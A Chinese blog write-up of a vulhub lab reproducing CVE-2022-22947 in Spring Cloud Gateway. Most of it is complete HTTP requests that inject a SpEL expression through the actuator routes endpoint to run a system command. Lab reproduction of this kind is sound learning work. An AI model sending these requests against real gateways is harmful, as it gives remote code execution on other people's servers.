【vulhub系列】CVE-2022-22947 Spring Cloud Gateway远程代码执行漏洞复现

vilhub靶场系列

文章目录

• 一、环境搭建
• 二、漏洞复现
• 总结

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所需环境：

• Linux（kali）操作系统

• vilhub靶场

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一、环境搭建

1. 进入目标目录:cd/桌面/vulhub-master/spring/CVE-2022-22947
2. 在该目录执行命令：dockers-compose up -d
3. 查看容器开启端口：docker ps
4. 查看环境搭建是否成功：http://192.168.162.129:8080/actuator/gateway/routes/fuck

成功示例：

二、漏洞复现

访问http://192.168.162.129:8080/actuator/gateway/routes/fuck抓取数据包，将请求方式改为POST。

示例：

 添加下列数据包：（包含恶意SpEL表达式的路由）：

POST /actuator/gateway/routes/hacktest HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 310

{
  "id": "hacktest",
 "filters": [{
"name": "AddResponseHeader",
"args": {
  "name": "Result",
  "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
}
  }],
  "uri": "http://example.com"
}

示例：

应用刚刚添加的路由。（该数据包将触发SpEL表达式的执行）

POST /actuator/gateway/refresh HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

示例：

 发送如下数据包即可查看执行结果：

GET /actuator/gateway/routes/hacktest HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

示例：

 发送如下数据包清理现场，删除所添加的路由。

DELETE /actuator/gateway/routes/hacktest HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close

示例：

 再次刷新路由：

POST /actuator/gateway/refresh HTTP/1.1
Host: 192.168.32.130:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

示例：

 至此，复现结束。

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总结

本人刚刚大二，对网络安全有浓厚兴趣，欢迎各位大佬多多指点，先谢谢各位大佬啦。。（求个关注谢谢各位大佬）